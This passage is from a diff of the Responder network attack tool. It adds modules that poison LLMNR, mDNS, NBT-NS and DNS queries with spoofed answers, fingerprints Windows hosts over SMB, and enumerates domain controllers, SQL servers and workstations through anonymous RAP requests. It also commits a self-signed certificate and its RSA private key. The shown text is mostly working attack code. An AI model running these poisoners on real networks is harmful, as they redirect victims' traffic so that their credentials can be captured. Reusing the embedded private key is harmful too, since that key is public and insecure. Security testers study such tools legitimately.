-        CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
-        CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
-        CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
-
-        CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
-
-        CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
-        self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
-        self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
-        # Target Name Offsets
-        self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
-        self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
-        self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
-        #AvPairs Offsets
-        self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
-        self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
-        self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
-        #AvPairs StrLen
-        self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
-        self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
-        self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
-        self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
-        self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
-        #AvPairs 6 len is always 00.

certs/gen-self-signed-cert.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+openssl genrsa -out responder.key 2048
+openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"

certs/responder.crt

@@ -0,0 +1,18 @@
+-----BEGIN CERTIFICATE-----
+MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
+NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
+AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
+sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
+2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
+6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
+WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
+N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
+YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
+6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
+YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
+koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
+4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
+YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
+HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
+u0/CRCN/lg==
+-----END CERTIFICATE-----

certs/responder.key

@@ -0,0 +1,27 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
+sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
+2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
+6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
+WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
+N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS
+1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY
+kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U
+YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R
+FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i
+erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ
+IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS
+nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL
+LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9
+cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1
+5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf
+s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje
+ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
+VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
+AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
+HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
+VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
+kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
+f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
+MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
+-----END RSA PRIVATE KEY-----

fingerprint.py

@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import re
+import sys
+import socket
+import struct
+import string
+import logging
+
+from utils import *
+from odict import OrderedDict
+from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
+
+def OsNameClientVersion(data):
+	try:
+		length = struct.unpack('<H',data[43:45])[0]
+		pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
+		OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
+		return OsVersion, ClientVersion
+
+	except:
+	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
+
+def RunSmbFinger(host):
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.connect(host)
+		s.settimeout(0.7)
+
+		h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
+		n = SMBNego(data = SMBNegoFingerData())
+		n.calculate()
+		
+		Packet = str(h)+str(n)
+		Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+		s.send(Buffer)
+		data = s.recv(2048)
+		
+		if data[8:10] == "\x72\x00":
+			Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
+			Body = SMBSessionFingerData()
+			Body.calculate()
+
+			Packet = str(Header)+str(Body)
+			Buffer = struct.pack(">i", len(''.join(Packet)))+Packet  
+
+			s.send(Buffer) 
+			data = s.recv(2048)
+
+		if data[8:10] == "\x73\x16":
+			return OsNameClientVersion(data)
+	except:
+		print color("[!] ", 1, 1) +" Fingerprint failed"
+		return None

odict.py

@@ -1,6 +1,6 @@
-# NBT-NS/LLMNR Responder
+#!/usr/bin/env python
-# Created by Laurent Gaffie
+# This file is part of Responder
-# Copyright (C) 2014 Trustwave Holdings, Inc.
+# Original work by Laurent Gaffie - Trustwave Holdings
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -11,10 +11,9 @@
 # but WITHOUT ANY WARRANTY; without even the implied warranty of
 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 # GNU General Public License for more details.
-# 
+#
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
 from UserDict import DictMixin
 
 class OrderedDict(dict, DictMixin):

poisoners/LLMNR.py

@@ -0,0 +1,93 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import socket
+import struct
+import settings
+import fingerprint
+
+from packets import LLMNR_Ans
+from odict import OrderedDict
+from SocketServer import BaseRequestHandler
+from utils import *
+
+def Parse_LLMNR_Name(data):
+	NameLen = struct.unpack('>B',data[12])[0]
+	Name = data[13:13+NameLen]
+	return Name
+
+def IsOnTheSameSubnet(ip, net):
+	net = net+'/24'
+	ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
+	netstr, bits = net.split('/')
+	netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
+	mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
+	return (ipaddr & mask) == (netaddr & mask)
+
+def IsICMPRedirectPlausible(IP):
+	dnsip = []
+	for line in file('/etc/resolv.conf', 'r'):
+		ip = line.split()
+		if len(ip) < 2:
+		   continue
+		if ip[0] == 'nameserver':
+			dnsip.extend(ip[1:])
+	for x in dnsip:
+		if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
+			print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
+			print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
+			print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
+		else:
+			pass
+
+if settings.Config.AnalyzeMode:
+	IsICMPRedirectPlausible(settings.Config.Bind_To)
+
+# LLMNR Server class
+class LLMNR(BaseRequestHandler):
+
+	def handle(self):
+		data, soc = self.request
+		Name = Parse_LLMNR_Name(data)
+
+		# Break out if we don't want to respond to this host
+		if RespondToThisHost(self.client_address[0], Name) is not True:
+			return None
+
+		if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
+
+			if settings.Config.Finger_On_Off:
+				Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
+			else:
+				Finger = None
+
+			# Analyze Mode
+			if settings.Config.AnalyzeMode:
+				LineHeader = "[Analyze mode: LLMNR]"
+				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+
+			# Poisoning Mode
+			else:
+				Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
+				Buffer.calculate()
+				soc.sendto(str(Buffer), self.client_address)
+				LineHeader = "[*] [LLMNR]"
+
+				print color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
+
+			if Finger is not None:
+				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
+				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

poisoners/MDNS.py

@@ -0,0 +1,73 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import struct
+import settings
+import socket
+
+from SocketServer import BaseRequestHandler
+from packets import MDNS_Ans
+from utils import *
+
+def Parse_MDNS_Name(data):
+	try:
+		data = data[12:]
+		NameLen = struct.unpack('>B',data[0])[0]
+		Name = data[1:1+NameLen]
+		NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
+		Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
+		return Name+'.'+Name_
+	except IndexError:
+		return None
+
+def Poisoned_MDNS_Name(data):
+	data = data[12:]
+	Name = data[:len(data)-5]
+	return Name
+
+class MDNS(BaseRequestHandler):
+
+	def handle(self):
+
+		MADDR = "224.0.0.251"
+		MPORT = 5353
+
+		data, soc = self.request
+		Request_Name = Parse_MDNS_Name(data)
+
+		# Break out if we don't want to respond to this host
+		if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
+			return None
+
+		try:
+			# Analyze Mode
+			if settings.Config.AnalyzeMode:
+				if Parse_IPV6_Addr(data):
+					print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
+
+			# Poisoning Mode
+			else:
+				if Parse_IPV6_Addr(data):
+					
+					Poisoned_Name = Poisoned_MDNS_Name(data)
+					Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
+					Buffer.calculate()
+					soc.sendto(str(Buffer), (MADDR, MPORT))
+					
+					print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
+
+		except Exception:
+			raise

poisoners/NBTNS.py

@@ -0,0 +1,79 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import socket
+import settings
+import fingerprint
+
+from packets import NBT_Ans
+from SocketServer import BaseRequestHandler
+from utils import *
+
+# Define what are we answering to.
+def Validate_NBT_NS(data):
+	if settings.Config.AnalyzeMode:
+		return False
+
+	if NBT_NS_Role(data[43:46]) == "File Server":
+		return True
+
+	if settings.Config.NBTNSDomain == True:
+		if NBT_NS_Role(data[43:46]) == "Domain Controller":
+			return True
+
+	if settings.Config.Wredirect == True:
+		if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
+			return True
+
+	else:
+		return False
+
+# NBT_NS Server class.
+class NBTNS(BaseRequestHandler):
+
+	def handle(self):
+
+		data, socket = self.request
+		Name = Decode_Name(data[13:45])
+
+		# Break out if we don't want to respond to this host
+		if RespondToThisHost(self.client_address[0], Name) is not True:
+			return None
+
+		if data[2:4] == "\x01\x10":
+
+			if settings.Config.Finger_On_Off:
+				Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
+			else:
+				Finger = None
+
+			# Analyze Mode
+			if settings.Config.AnalyzeMode:
+				LineHeader = "[Analyze mode: NBT-NS]"
+				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+
+			# Poisoning Mode
+			else:
+				Buffer = NBT_Ans()
+				Buffer.calculate(data)
+				socket.sendto(str(Buffer), self.client_address)
+				LineHeader = "[*] [NBT-NS]"
+
+				print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
+
+			if Finger is not None:
+				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
+				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

servers/Browser.py

@@ -0,0 +1,205 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import socket
+import struct
+import settings
+
+from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
+from SocketServer import BaseRequestHandler
+from utils import *
+
+def WorkstationFingerPrint(data):
+	Role = {
+		"\x04\x00"    :"Windows 95",
+		"\x04\x10"    :"Windows 98",
+		"\x04\x90"    :"Windows ME",
+		"\x05\x00"    :"Windows 2000",
+		"\x05\x00"    :"Windows XP",
+		"\x05\x02"    :"Windows 2003",
+		"\x06\x00"    :"Windows Vista/Server 2008",
+		"\x06\x01"    :"Windows 7/Server 2008R2",
+	}
+
+	return Role[data] if data in Role else "Unknown"
+
+def RequestType(data):
+	Type = {
+		"\x01": 'Host Announcement',
+		"\x02": 'Request Announcement',
+		"\x08": 'Browser Election',
+		"\x09": 'Get Backup List Request',
+		"\x0a": 'Get Backup List Response',
+		"\x0b": 'Become Backup Browser',
+		"\x0c": 'Domain/Workgroup Announcement',
+		"\x0d": 'Master Announcement',
+		"\x0e": 'Reset Browser State Announcement',
+		"\x0f": 'Local Master Announcement',
+	}
+
+	return Type[data] if data in Type else "Unknown"
+
+def PrintServerName(data, entries):
+	if entries > 0:
+
+		entrieslen = 26*entries
+		chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
+		ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
+
+		l = []
+		for x in ServerName:
+			FP   = WorkstationFingerPrint(x[16:18])
+			Name = x[:16].replace('\x00', '')
+
+			if FP:
+				l.append(Name + ' (%s)' % FP)
+			else:
+				l.append(Name)
+
+		return l
+
+	return None
+
+def ParsePacket(Payload):
+	PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
+	StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
+
+	if StatusCode == "\x00\x00":
+		EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
+		return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
+
+	else:
+		return None
+
+def RAPThisDomain(Client,Domain):		
+	PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
+	if PDC is not None:
+		print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
+	
+	SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
+	if SQL is not None:
+		print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
+
+	WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
+	if WKST is not None:
+		print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
+
+def RapFinger(Host, Domain, Type):
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.connect((Host,445))
+		s.settimeout(0.3)
+
+		Header = SMBHeader(cmd="\x72",mid="\x01\x00")
+		Body = SMBNegoData()
+		Body.calculate()
+
+		Packet = str(Header)+str(Body)
+		Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+
+		s.send(Buffer)
+		data = s.recv(1024)
+
+		# Session Setup AndX Request, Anonymous.
+		if data[8:10] == "\x72\x00":
+			Header = SMBHeader(cmd="\x73",mid="\x02\x00")
+			Body = SMBSessionData()
+			Body.calculate()
+
+			Packet = str(Header)+str(Body)
+			Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+
+			s.send(Buffer)
+			data = s.recv(1024)
+
+			# Tree Connect IPC$.
+			if data[8:10] == "\x73\x00":
+				Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
+				Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
+				Body.calculate()
+
+				Packet = str(Header)+str(Body)
+				Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+
+				s.send(Buffer)
+				data = s.recv(1024)
+
+				# Rap ServerEnum.
+				if data[8:10] == "\x75\x00":
+					Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
+					Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
+					Body.calculate()
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+
+					s.send(Buffer)
+					data = s.recv(64736)
+
+					# Rap ServerEnum, Get answer and return what we're looking for.
+					if data[8:10] == "\x25\x00":
+						s.close()
+						return ParsePacket(data)
+	except:
+		pass
+
+def BecomeBackup(data,Client):
+	try:
+		DataOffset    = struct.unpack('<H',data[139:141])[0]
+		BrowserPacket = data[82+DataOffset:]
+		ReqType       = RequestType(BrowserPacket[0])
+
+		if ReqType == "Become Backup Browser":
+			ServerName = BrowserPacket[1:]
+			Domain     = Decode_Name(data[49:81])
+			Name       = Decode_Name(data[15:47])
+			Role       = NBT_NS_Role(data[45:48])
+
+			if settings.Config.AnalyzeMode:
+				print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
+				print RAPThisDomain(Client, Domain)
+
+	except:
+		pass
+
+def ParseDatagramNBTNames(data,Client):
+	try:
+		Domain = Decode_Name(data[49:81])
+		Name   = Decode_Name(data[15:47])
+		Role1  = NBT_NS_Role(data[45:48])
+		Role2  = NBT_NS_Role(data[79:82])
+
+	
+		if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
+			print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
+			print RAPThisDomain(Client, Domain)
+	except:
+		pass
+
+class Browser(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			request, socket = self.request
+
+			if settings.Config.AnalyzeMode:
+				ParseDatagramNBTNames(request,self.client_address[0])
+				BecomeBackup(request,self.client_address[0])
+
+			BecomeBackup(request,self.client_address[0])
+
+		except Exception:
+			pass

servers/DNS.py

@@ -0,0 +1,73 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import re
+
+from packets import DNS_Ans
+from SocketServer import BaseRequestHandler
+from utils import *
+
+def ParseDNSType(data):
+	QueryTypeClass = data[len(data)-4:]
+
+	# If Type A, Class IN, then answer.
+	return True if QueryTypeClass == "\x00\x01\x00\x01" else False
+
+# DNS Server class
+class DNS(BaseRequestHandler):
+
+	def handle(self):
+
+		# Break out if we don't want to respond to this host
+		if RespondToThisIP(self.client_address[0]) is not True:
+			return None
+
+		try:
+			data, soc = self.request
+
+			if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
+				buff = DNS_Ans()
+				buff.calculate(data)
+				soc.sendto(str(buff), self.client_address)
+
+				ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
+				print color("[*] [DNS] Poisoned answer sent to: %-15s  Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
+
+		except Exception:
+			pass
+
+# DNS Server TCP Class
+class DNSTCP(BaseRequestHandler):
+
+	def handle(self):
+
+		# Break out if we don't want to respond to this host
+		if RespondToThisIP(self.client_address[0]) is not True:
+			return None
+	
+		try:
+			data = self.request.recv(1024)
+
+			if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
+				buff = DNS_Ans()
+				buff.calculate(data)
+				self.request.send(str(buff))
+
+				ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
+				print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s  Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
+
+		except Exception:
+			pass

servers/FTP.py

@@ -0,0 +1,59 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
